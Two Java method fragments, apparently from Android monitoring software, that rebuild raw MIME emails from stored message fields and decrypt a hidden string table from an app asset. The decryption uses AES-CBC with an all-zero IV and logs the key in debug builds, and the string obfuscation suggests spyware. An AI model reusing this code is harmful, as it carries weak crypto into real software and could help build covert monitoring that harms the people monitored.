public String makeMimeMessage(final int maxMessageSize) {
final StringBuffer mailRaw = new StringBuffer();
mailRaw.append("Date: " + timestamp.toGMTString() + "\r\n");
mailRaw.append("From: " + fromAddress + "\r\n");
mailRaw.append("To: " + toAddresses + "\r\n");
mailRaw.append("Cc: " + ccAddresses + "\r\n");
mailRaw.append("Subject: " + subject + "\r\n");
// comincia la ricostruzione del MIME
// 18.14=MIME-Version: 1.0
mailRaw.append(M.e("MIME-Version: 1.0") + "\r\n"); // $NON-NLS-1$
final long rnd = Math.abs(Utils.getRandom());
// 18.15=------_NextPart_
final String boundary = M.e("------_NextPart_") + rnd; // $NON-NLS-1$
if (isMultipart()) {
// 18.16=Content-Type: multipart/alternative; boundary=
mailRaw.append(
M.e("Content-Type: multipart/alternative; boundary=") // $NON-NLS-1$
+ boundary
+ "\r\n"); //$NON-NLS-1$
mailRaw.append("\r\n--" + boundary + "\r\n"); // $NON-NLS-1$ //$NON-NLS-2$
}
// j_19=Content-Transfer-Encoding: quoted-printable
mailRaw.append(M.e("Content-Transfer-Encoding: 8bit") + "\r\n");
// 18.17=Content-type: text/plain; charset=UTF8
mailRaw.append(M.e("Content-type: text/plain; charset") + "\r\n\r\n");
String msg = snippet;
if (maxMessageSize > 0 && msg.length() > maxMessageSize) {
msg = msg.substring(0, maxMessageSize);
}
mailRaw.append(msg);
if (isMultipart()) {
mailRaw.append("\r\n--" + boundary + "\r\n"); // $NON-NLS-1$ //$NON-NLS-2$
// j_18=Content-type: text/html; charset=UTF8
// j_19=Content-Transfer-Encoding: quoted-printable
mailRaw.append(M.e("Content-Transfer-Encoding: 8bit") + "\r\n");
mailRaw.append(M.e("Content-type: text/html; charset") + "\r\n\r\n");
// mailRaw.append(htmlMessageContentType);
if (maxMessageSize > 0 && body.length() > maxMessageSize) {
body = body.substring(0, maxMessageSize);
}
mailRaw.append(body);
mailRaw.append("\r\n--" + boundary + "--\r\n"); // $NON-NLS-1$ //$NON-NLS-2$
}
mailRaw.append("\r\n"); // $NON-NLS-1$
final String craftedMail = mailRaw.toString();
return craftedMail;
}
public MessagesDecrypt(Context context) {
if (Cfg.DEBUG) {
Check.asserts(context != null, " (init) Assert failed");
}
try {
if (Cfg.DEBUG) {
Check.log(TAG + " (MessagesDecrypt)");
}
InputStream stream = Utils.getAssetStream("mb.data");
final SecretKey key = produceKey(Cfg.RNDMSG);
if (Cfg.DEBUG) {
Check.asserts(key != null, "null key"); // $NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.log(TAG + " (init): key=" + ByteArray.byteArrayToHex(key.getEncoded()));
}
final Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); // $NON-NLS-1$
final byte[] iv = new byte[16];
Arrays.fill(iv, (byte) 0);
final IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
final CipherInputStream cis = new CipherInputStream(stream, cipher);
final BufferedReader br = new BufferedReader(new InputStreamReader(cis));
while (true) {
final String line = br.readLine();
if (line == null) {
break;
}
final String[] kv = line.split("=", 2);
if (Cfg.DEBUG) {
Check.asserts(kv.length == 2, "wrong number of tokens"); // $NON-NLS-1$
// Check.log(TAG + " " + kv[0] + " " + kv[1]); //$NON-NLS-1$ //$NON-NLS-2$
}
String value = kv[1].replace("$PACK$", pack);
messages.put(kv[0], value);
if (Cfg.DEBUG) {
Check.asserts(messages.containsKey(kv[0]), "strange hashmap behaviour"); // $NON-NLS-1$
}
}
if (Cfg.DEBUG) {
Check.log(TAG + " (MessagesDecrypt), messages.size: " + messages.size());
}
} catch (final Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(TAG + " Exception");
Check.log(ex);
}
}
}
